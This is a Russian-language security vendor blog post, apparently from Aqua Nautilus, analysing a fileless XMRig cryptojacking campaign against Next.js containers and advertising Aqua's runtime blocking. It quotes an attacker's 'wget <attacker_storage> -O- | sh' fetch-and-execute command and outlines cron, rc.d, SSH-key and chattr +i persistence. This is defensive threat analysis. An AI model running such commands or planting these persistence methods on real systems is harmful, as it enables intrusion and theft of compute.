Суть коротко: атаки, которые с наибольшей вероятностью останутся незамеченными, — это те, которые никогда не касаются диска. Они не оставляют файлов, не вызывают сигнатур и специально созданы для обхода сканеров и датчиков, на которые полагается большинство организаций. Поведенческий движок обнаружения Aqua в реальном времени выделил многоэтапную бесфайловую кампанию по скрытому майнингу в окружении клиента и обнаружил вредоносную активность в процессах выполнения, дрейфе контейнеров, механизмах персистентности и исходящем трафике майнинга. Телеметрия также показала точные точки выполнения, где средства принудительной защиты Aqua в реальном времени могут разорвать цепочку атак до того, как будет запущен неавторизованный код, закрепится персистентность или трафик майнинга покинет рабочую нагрузку. Ниже приводится разбор этой кампании и глубина контроля на этапе выполнения, которая сделала ее видимой.
Почему сканеры и датчики дают сбой, когда атака живет в памяти?
Команды безопасности вложили значительные средства в сканирование, управление состоянием защищенности и практики сдвига влево (shift-left). Эти элементы контроля важны, но они созданы для выявления известных проблем до развертывания. Они не предназначены для остановки злоумышленника, который уже находится внутри работающей рабочей нагрузки, выполняет код в памяти и действует быстрее, чем успевает среагировать человек.
Большинство инструментов, заявляющих о поддержке мониторинга в реальном времени, используют eBPF для наблюдения за активностью ядра и выдачи оповещений после того, как действие уже было разрешено. Это видимость, а не контроль. К тому моменту, когда оповещение попадает в очередь, бинарный файл уже запущен, полезная нагрузка записана, а злоумышленник закрепился в системе. Сканирование образов не имеет видимости полезных нагрузок, внедренных после запуска контейнера. Инструментам EDR не хватает контекста на уровне рабочей нагрузки, чтобы понять, что на самом деле происходит внутри контейнера. Периметровые средства контроля не могут обеспечивать соблюдение исходящего трафика на уровне процессов, а это означает, что майнинг, связывающийся с известным майнинг-пулом через стандартный порт, выглядит точно так же, как легитимный трафик приложения.
Для остановки сложных атак во время выполнения требуется принципиально иной уровень глубины: анализ активности процессов, файлов, сети и памяти, собираемый изнутри работающей рабочей нагрузки, в сочетании с возможностью реагировать на эту телеметрию до завершения неавторизованного действия.
Aqua использует средства мониторинга в реальном времени в сочетании с запатентованной встроенной защитой для блокирования неавторизованных действий до их завершения. Большинство инструментов времени выполнения используют eBPF для наблюдения за происходящим и реагирования после того, как ядро разрешит действие. Aqua действует раньше ядра. Это означает, что сброшенные на диск бинарные файлы не запускаются, бесфайловое вредоносное ПО останавливается в точке выполнения, а цепочки атак разрываются в режиме реального времени. Время выполнения — это не просто область обзора Aqua, это среда, в которой она действует.
Как Aqua увидела то, что пропустили другие инструменты?
Поведенческий движок обнаружения Aqua в реальном времени выявил многоэтапную бесфайловую криптомайнинговую кампанию XMRig, затрагивающую контейнеризованные приложения Node.js, созданные с использованием Next.js (React). Доступная телеметрия показала выполнение вредоносного кода через процессы Node.js, но она не предоставила достаточных доказательств для определения конкретного использованного эксплойта. Каждый наблюдаемый этап кампании был разработан так, чтобы избежать обнаружения обычными инструментами. Вот что увидела Aqua и где можно применить защиту времени выполнения.
Первоначальный доступ и выполнение: выполнение началось в памяти с помощью эксплойта Next.js. Затем злоумышленник использовал wget <attacker_storage> -O- | sh для загрузки и запуска скрипта первого этапа непосредственно из удаленного места — ничего не сохранялось на диск. Этот скрипт извлек упакованный загрузчик, который распаковался прямо в память (memfd:upX). Это был артефакт бесфайлового выполнения, по которому система обнаружения Aqua идентифицировала угрозу до того, как криптомайнер был сброшен на диск. Эта последовательность снизила зависимость злоумышленника от обычного исполняемого файла на ранних стадиях атаки, ограничив возможности файловых сканеров по проверке загрузчика.
Политика Aqua «Блокировка бесфайлового выполнения» нацелена на такое поведение путем выявления выполнения из путей memfd: и /dev/shm/. При настройке в режиме принудительного блокирования Aqua может блокировать выполнение в памяти напрямую, без необходимости распознавать конкретную полезную нагрузку. Выполнение в памяти напрямую, без необходимости распознавать конкретную полезную нагрузку.
Дрейф и развертывание имплантов: Aqua зафиксировала выполнение скрытых файлов, а также защитные процессы и процессы-стражи (watchdog), используемые для поддержания работы майнера. Поведенческий обнаружения Aqua идентифицировал новые бинарные файлы, которых не было в исходном образе. Когда функция предотвращения дрейфа работает в режиме блокировки, эти бинарные файлы блокируются до выполнения, мешая импланту закрепиться в рабочей нагрузке.
Персистентность: злоумышленник закрепился в системе с помощью заданий cron, скриптов инициализации в rc.d и модификаций профилей оболочки. Злоумышленник также установил ключ SSH в качестве бэкдора на взломанные хосты. Майнер и сопутствующие процессы использовали имена, напоминавшие легитимные системные службы, но отслеживание происхождения процессов в Aqua выявило связь между процессом веб-приложения и неожиданными дочерними процессами. Aqua не обнаружила никаких доказательств того, что злоумышленник получил доступ к секретам, токенам или ключам клиента.
Поведение противодействия удалению: на более позднем этапе кампании злоумышленник использовал chattr +i для установки неизменяемых флагов для ключевых файлов, предотвращая удаление даже процессами, работающими от имени root. Такое поведение показывает, что злоумышленник предвидел возможное обнаружение и попытался усложнить очистку. Поведенческий движок Aqua обнаружил кампанию еще до того, как этот шаг стал актуальным.
Активный майнинг: майнер XMRig отправлял исходящий трафик на известный майнинг-пул Monero через стандартный порт. Без контекста на уровне процессов этот трафик трудно отличить от легитимного трафика приложения. Политика обнаружения криптомайнинга Aqua идентифицировала майнинговую активность на уровне процессов и сети и сопоставила исходящее соединение с точным процессом, который его генерирует. Когда включена принудительная защита, Aqua может остановить соединение и помешать рабочей нагрузке продолжать майнинг.
В чем разница между обнаружением атаки и ее остановкой?
Как Aqua выявила всю цепочку атаки?
Обнаружения поведенческого движка времени выполнения Aqua охватывают выполнение процессов, сигналы дрейфа, активность персистентности и сетевые события выхода из сети. Платформа объединила эти сигналы в целостное представление о кампании: от аномального выполнения до активной связи с майнером. Исследователи Aqua Nautilus затем подтвердили и задокументировали масштаб активности, используя телеметрию, которую Aqua уже собрала. Среда выполнения включала контейнеры на базе Alpine под управлением Node.js.
Все технические индикаторы, описанные в этой публикации, отражают наблюдаемое поведение злоумышленников. Конкретные индикаторы компрометации, включая сетевые адреса назначения и хэши полезных нагрузок, предоставляются клиентам и исследователям безопасности по запросу.
Защищено ли ваше окружение от этого класса атак?
Если вы запускаете контейнеризированные рабочие нагрузки с приложениями, смотрящими в интернет, эта кампания иллюстрирует то, что может оставаться невидимым без обнаружения в реальном времени, и то, что может продолжаться бесконтрольно без средств принудительной защиты во время выполнения.
- Убедитесь, что функция предотвращения дрифта (Drift Prevention) включена и работает в режиме принудительного применения (enforcement mode) для базовых рабочих нагрузок, а не только в режиме аудита.
- Убедитесь, что функция блокировки безфайлового выполнения (Block Fileless Execution) активна для рабочих нагрузок, где выполнение кода в памяти не является ожидаемым поведением.
- Убедитесь, что обнаружения майнеров видны и что средства контроля исходящего трафика могут связывать исходящие соединения с процессами, которые их генерируют.
- Проверьте файлы authorized_keys и другие места сохранения постоянных данных на предмет непредвиденных изменений внутри рабочих нагрузок и хостов.
Любая облачная атака в конечном итоге переходит к выполнению. Среда выполнения — это та точка контроля, где это происходит. Aqua объединяет более чем десятилетний опыт обеспечения безопасности среды выполнения с запатентованным принудительным применением в режиме реального времени, чтобы остановить несанкционированное выполнение до его завершения. Чтобы узнать, как работает принудительное применение Aqua в отношении подобных атак, запросите демонстрацию или обратитесь к своей команде учетной записи Aqua.
Признаки компрометации (IOC)
Часто задаваемые вопросы
Нужно ли Aqua распознавать конкретный бинарный файл майнера для его блокировки?
Политика предотвращения дрифта Aqua блокирует бинарные файлы, которых не было в исходном образе, независимо от их типа. Функция блокировки безфайлового выполнения нацелена на паттерн выполнения (например, загрузку из memfd:), а не на полезную нагрузку как таковую. Обнаружение криптомайнинга выявляет поведенческие характеристики майнинговой активности. Эти средства контроля не зависят от сопоставления с известной сигнатурой бинарного файла.
Что если злоумышленник использует легитимное на вид имя процесса?
Маскировка процессов — известный метод обхода защиты. Отслеживание происхождения процессов Aqua определяет полную цепочку того, что и чем было запущено. Неожиданный процесс, порожденный процессом веб-приложения, аномален независимо от его имени. Отношения родительского и дочернего элементов автоматически разоблачают маскировку. Если бинарный файл отсутствовал в исходном образе, предотвращение дрифта также может заблокировать его выполнение.
А как насчет контейнеров, которые часто перезапускаются? Вызывает ли принудительное применение сбои?
Предотвращение дрифта использует первоначально развернутый образ в качестве базовой линии. Легитимные процессы, являющиеся частью этого образа, продолжают работать нормально. Блокировке подлежат только бинарные файлы, добавленные после развертывания. При правильной настройке базовых линий для политик ожидаемое поведение приложения продолжается без сбоев.
Имеет ли это отношение к рабочим нагрузкам за пределами контейнеров?
Да. Методы в этой кампании, включая выполнение в памяти, маскировку процессов, сохранение SSH-ключей и закрепление через cron и профили оболочки, являются нативными методами Linux, которые могут затрагивать рабочие нагрузки во всей инфраструктуре Linux. Их выявление и остановка внутри контейнеров требуют контекста рабочей нагрузки. Защита среды выполнения Aqua работает с контейнеризированными рабочими нагрузками, виртуальными машинами и хостами, обладая необходимой видимостью процессов, файлов, сети и памяти для понимания этой активности и управления ею.
Что такое безфайловый загрузчик криптомайнера и почему его сложнее обнаружить?
Криптоджекинг — это несанкционированное использование вычислительных ресурсов для майнинга криптовалюты. Безфайловый загрузчик расшифровывает полезную нагрузку прямо в памяти, не оставляя следов на диске. Майнер может работать как процесс с легитимным видом, не генерировать никаких индикаторов на диске и исчезать при остановке контейнера, хотя этот вариант был менее сложным и сохранял криптомайнер внутри /tmp. Средства безопасности, полагающиеся на сканирование файлов или статические сигнатуры, пропустили бы большую часть цепочки заражения (если не всю ее целиком).
Исследовательская группа Aqua Nautilus занимается исследованиями в области кибербезопасности стека облачных технологий. Ее миссия заключается в выявлении новых уязвимостей, угроз и атак на контейнеры, Kubernetes, бессерверные вычисления и инфраструктуру общедоступного облака, а также в создании новых методов и инструментов для борьбы с ними.









